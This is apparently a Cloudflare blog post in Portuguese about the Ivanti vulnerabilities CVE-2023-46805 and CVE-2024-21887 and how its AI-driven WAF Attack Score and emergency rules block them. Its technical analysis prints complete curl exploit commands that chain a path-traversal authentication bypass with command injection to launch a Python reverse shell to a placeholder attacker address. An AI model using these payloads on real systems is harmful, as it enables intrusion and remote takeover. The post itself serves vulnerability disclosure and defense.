A maioria dos provedores de WAF confia em métodos reativos, respondendo a vulnerabilidades depois de descobertas e exploradas. No entanto, acreditamos em abordar proativamente os possíveis riscos e usar a IA para conseguir isso. Hoje, compartilhamos um exemplo recente de uma vulnerabilidade crítica (CVE-2023-46805 e CVE-2024-21887) e como o Attack score da Cloudflare, alimentado por IA, e as regras de emergência no WAF enfrentaram essa ameaça.
A ameaça: CVE-2023-46805 e CVE-2024-21887
Um desvio de autenticação (CVE-2023-46805) e uma vulnerabilidade de injeção de comando (CVE-2024-21887) que afetam os produtos Ivanti foram divulgados e analisados recentemente pelo AttackerKB. Esta vulnerabilidade representa riscos significativos que podem levar a acesso não autorizado e controle sobre os sistemas afetados. Na seção a seguir, vamos discutir como essa vulnerabilidade pode ser explorada.
Análise técnica
Conforme discutido em AttackerKB, o invasor pode enviar uma solicitação especialmente criada ao sistema de destino usando um comando como este:
Este comando visa um endpoint (/license/keys-status/) que geralmente é protegido por autenticação. No entanto, o invasor pode contornar a autenticação manipulando o URL para incluir /api/v1/totp/user-backup-code/../../license/keys-status/. Essa técnica é conhecida como travessia de diretório.
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
A parte do comando codificada pelo URL é decodificada para um shell reverso do Python, que se parece com isto:
O shell reverso do Python é uma maneira de o invasor obter controle sobre o sistema de destino.
;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
A vulnerabilidade existe na maneira como o sistema processa o parâmetro node_name. Se um invasor puder controlar o valor de node_name, ele poderá injetar comandos no sistema.
Explicação sobre "node_name": o parâmetro "node_name" é um componente do endpoint /api/v1/license/keys-status/path:node_name. É nesse endpoint que o problema principalmente ocorre.
O invasor pode enviar uma solicitação GET para o caminho URI /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; onde CMD é qualquer comando que desejam executar. Usando um ponto e vírgula, eles podem especificar esse comando na solicitação. Para garantir que o comando seja processado corretamente pelo sistema, ele deve ser codificado para URL.
Outra vulnerabilidade de injeção de código foi identificada, conforme detalhado no post do blog do AttackerKB. Desta vez, envolve uma injeção de comando autenticada encontrada em uma parte diferente do sistema.
O mesmo conteúdo malicioso de shell reverso do Python usado na primeira injeção de comando pode ser empregado aqui, formando uma estrutura JSON para acionar a vulnerabilidade. Como o conteúdo malicioso está em JSON, ele não precisa ser codificado para URL:
Embora o endpoint /api/v1/system/maintenance/archiving/cloud-server-test-connection exija autenticação, um invasor pode contornar isso encadeando-o com a vulnerabilidade de passagem de diretório mencionada anteriormente. Ele pode construir um caminho URI não autenticado /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection para alcançar esse endpoint e explorar a vulnerabilidade.
{
"type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
"txtGCPProject": "a",
"txtGCPSecret": "a",
"txtGCPPath": "a",
"txtGCPBucket": "a"
}
Para executar um comando do sistema operacional não autenticado, um invasor usaria uma solicitação curl como esta:
A defesa proativa da Cloudflare
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
O WAF da Cloudflare é suportado por uma camada adicional alimentada por IA chamada WAF Attack Score, que foi criada com o objetivo de detectar desvios de ataque antes mesmo de serem anunciados. O Attack Score fornece uma pontuação para indicar se a solicitação é maliciosa ou não; com foco em três categorias principais até agora: XSS, SQLi, e algumas variações de RCE (Injeção de Comando, ApacheLog4J, etc.). A pontuação varia de 1 a 99 e quanto menor a pontuação mais maliciosa é a solicitação. De modo geral, qualquer solicitação com pontuação abaixo de 20 é considerada maliciosa.
Analisar os resultados do exemplo de exploração acima de CVE-2023-46805 e CVE-2024-21887 usando o painel da Cloudflare (Segurança > Eventos). Os resultados da análise do Attack Score consistem em três pontuações individuais, cada uma rotulada para indicar sua relevância para uma categoria de ataque específica. Existe também uma pontuação global, a "WAF Attack Score", que considera o impacto combinado dessas três pontuações. Em alguns casos, a pontuação global é afetada por uma das subpontuações se o ataque corresponde a uma categoria. Aqui podemos ver que a subpontuação dominante é a "WAF RCE Attack Score" de execução remota de código.
Captura de tela do Security Events, destacando os resultados do WAF Attack Score mostrando o WAF Attack Score de 9
Da mesma forma, para a solicitação de comando do sistema operacional não autenticada, recebemos o "WAF Attack Score: 19" do modelo de IA, que também se enquadra na categoria de solicitação maliciosa. Vale mencionar que as pontuações de exemplo não são números fixos e podem variar com base na variação do ataque de entrada.
A grande notícia aqui é: clientes nos planos Enterprise e Business com WAF Attack Score ativado, juntamente com uma regra para bloquear pontuações baixas (por exemplo, [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
) ou ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
"attack
") para Business, já estavam protegidos contra possíveis explorações de vulnerabilidades que foram testadas até agora, antes mesmo de a vulnerabilidade ser anunciada.
Implantação da regra de emergência
Em resposta a esta vulnerabilidade crítica, a Cloudflare lançou as Regras de emergência em 17de janeiro de2024, 24 horas após a prova de conceito se tornar pública. Essas regras fazem parte das regras gerenciadas do WAF, visando especificamente as ameaças representadas pelo CVE-2023-46805 e uma vulnerabilidade adicional, a CVE-2024-21887, também relacionada aos produtos da Ivanti. As regras, chamadas "Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887", foram desenvolvidas para bloquear tentativas de exploração dessas vulnerabilidades, fornecendo uma camada extra de segurança para os usuários da Cloudflare.
Desde que implantamos essas regras, registramos um alto nível de atividade. No momento da redação deste artigo, a regra foi acionada mais de 180 mil vezes.
Rule ID | Description | Default Action |
---|---|---|
New Managed Rule…34ab53c5 | Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Legacy Managed Rule 100622 |
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
ID da regra
Descrição
Ação padrão
Nova regra gerenciada…34ab53c5
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887
Bloquear
Regra gerenciada legada100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887
Bloquear
Implicações e práticas recomendadas
A resposta da Cloudflare a CVE-2023-46805 e CVE-2024-21887 ressalta a importância de ter medidas de segurança robustas em vigor. As organizações que usam os serviços da Cloudflare, particularmente o WAF, são aconselhadas a garantir que seus sistemas estejam atualizados com as regras e configurações mais recentes para manter a proteção ideal. Também recomendamos que os clientes implantem regras usando o Attack Score para melhorar sua postura de segurança. Se você quiser saber mais sobre o Attack Score, entre em contato com a equipe da sua conta.
Conclusão
A abordagem proativa da Cloudflare para a segurança cibernética usando IA para identificar e parar ataques, exemplificada por sua resposta a CVE-2023-46805 e CVE-2024-21887, destaca como ameaças e ataques podem ser identificados antes de serem tornados públicos e as vulnerabilidades divulgadas. Ao monitorar continuamente e responder rapidamente às vulnerabilidades, a Cloudflare garante que seus clientes permaneçam seguros em um cenário digital cada vez mais complexo.